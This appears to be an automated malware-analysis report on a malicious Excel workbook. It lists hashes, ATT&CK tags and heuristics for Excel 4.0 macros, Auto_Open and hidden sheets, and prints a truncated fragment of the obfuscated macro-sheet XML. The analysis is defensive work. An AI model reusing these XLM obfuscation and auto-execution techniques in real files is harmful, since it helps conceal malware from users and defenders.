Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d8e0d91660cf825e…

MALICIOUS

Office (OOXML)

500.3 KB Created: 2020-06-24 12:13:57 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24
MD5: d281652e87cf554bf682af6aa8769e24 SHA-1: 75e8d27373917ecf5168a01170f283318a246ad8 SHA-256: d8e0d91660cf825ecdd9507c38a4e87ed5ab2fd4cf3c7df0ebbdc270ea898d4f
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains Excel 4.0 macros, indicated by the OOXML_XLM_MACROSHEET and OOXML_XLM_AUTOOPEN_DEFINEDNAME heuristics. The macros utilize dangerous functions like FORMULA.FILL, REGISTER, and HALT, which can be used to call external Win32 APIs for downloading and executing payloads. The presence of hidden sheets further suggests an attempt to conceal malicious activity.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA.FILL, REGISTER, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 7 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 155840 bytes
SHA-256: 3aa0d4b6291574ca077562d9e1f2a65d1a4bf56c9ae6d47d12a884b6146d7495
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{F5411B36-528F-4E63-89EB-60A5948BFF9D}"><dimension ref="A18:IO59991"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="18" spans="59:59" x14ac:dyDescent="0.25"><c r="BG18"><v>63</v></c></row><row r="62" spans="71:71" x14ac:dyDescent="0.25"><c r="BS62" t="b"><f>ADD.LIST.ITEM(THEx,43)</f><v>0</v></c></row><row r="63" spans="71:71" x14ac:dyDescent="0.25"><c r="BS63" t="b"><f>BEEP(2)</f><v>0</v></c></row><row r="64" spans="71:71" x14ac:dyDescent="0.25"><c r="BS64" t="b"><f>CALCULATE.DOCUMENT()</f><v>0</v></c></row><row r="65" spans="65:65" x14ac:dyDescent="0.25"><c r="BM65"><v>41651</v></c></row><row r="66" spans="65:65" x14ac:dyDescent="0.25"><c r="BM66"><v>203</v></c></row><row r="197" spans="9:9" x14ac:dyDescent="0.25"><c r="I197" t="s"><v>16</v></c></row><row r="436" spans="154:154" x14ac:dyDescent="0.25"><c r="EX436" t="b"><f>ADD.LIST.ITEM(qxFivuLPSJixqaIKfIMaWFTssTcoRkQn,12)</f><v>0</v></c></row><row r="437" spans="154:154" x14ac:dyDescent="0.25"><c r="EX437" t="b"><f>BEEP(3)</f><v>0</v></c></row><row r="438" spans="154:154" x14ac:dyDescent="0.25"><c r="EX438" t="b"><f>CALCULATE.DOCUMENT()</f><v>0</v></c></row><row r="538" spans="34:142" x14ac:dyDescent="0.25"><c r="EL538" t="s"><v>4</v></c></row><row r="542" spans="34:142" x14ac:dyDescent="0.25"><c r="AH542" t="b"><f>ADD.LIST.ITEM(asNgaQvFGEJtmtYlkB,12)</f><v>0</v></c></row><row r="543" spans="34:142" x14ac:dyDescent="0.25"><c r="AH543" t="b"><f>BEEP(3)</f><v>0</v></c></row><row r="544" spans="34:142" x14ac:dyDescent="0.25"><c r="AH544" t="b"><f>CALCULATE.DOCUMENT()</f><v>0</v></c></row><row r="560" spans="92:92" x14ac:dyDescent="0.25"><c r="CN560" t="b"><f>ADD.LIST.ITEM(TczuYaHbgoeK,30)</f><v>0</v></c></row><row r="561" spans="92:92" x14ac:dyDescent="0.25"><c r="CN561" t="b"><f>BEEP(2)</f><v>0</v></c></row><row r="562" spans="92:92" x14ac:dyDescent="0.25"><c r="CN562" t="b"><f>CALCULATE.DOCUMENT()</f><v>0</v></c></row><row r="734" spans="35:35" x14ac:dyDescent="0.25"><c r="AI734" t="s"><v>25</v></c></row><row r="847" spans="199:199" x14ac:dyDescent="0.25"><c r="GQ847" t="b"><f>ADD.LIST.ITEM(GtrlEBXHSXUfwx,32)</f><v>0</v></c></row><row r="848" spans="199:199" x14ac:dyDescent="0.25"><c r="GQ848" t="b"><f>BEEP(2)</f><v>0</v></c></row><row r="849" spans="199:199" x14ac:dyDescent="0.25"><c r="GQ849" t="b"><f>CALCULATE.DOCUMENT()</f><v>0</v></c></row><row r="933" spans="193:193" x14ac:dyDescent="0.25"><c r="GK933"><v>10</v></c></row><row r="1056" spans="223:223" x14ac:dyDescent="0.25"><c r="HO1056" t="s"><v>21</v></c></row><row r="1069" spans="1:1" x14ac:dyDescent="0.25"><c r="A1069"><v>61</v></c></row><row r="1090" spans="102:102" x14ac:dyDescent="0.25"><c r="CX1090" t="b"><f>ADD.LIST.ITEM(VJvWsF,5)</f><v>0</v></c></row><row r="1091" spans="102:102" x14ac:dyDescent="0.25"><c r="CX1091" t="b"><f>BEEP(2)</f><v>0</v></c></row><row r="1092" spans="102:102" x14ac:dyDescent="0.25"><c r="CX1092" t="b"><f>CALCULATE.DOCUMENT()</f><v>0</v></c></row><row r="1139" spans="153:221" x14ac:dyDescent="0.25"><c r="HM1139"><v>84</v></c></row><row r="1140" spans="153:221" x14ac:dyDescent="0.25"><c r="EW1140" t="s"><v>32</v></c></row><row r="1229" spans="143:143" x14ac:dyDescent="0.25"><c r="EM1229" t="s"><v>1</v></c></row><row r=
... (truncated)

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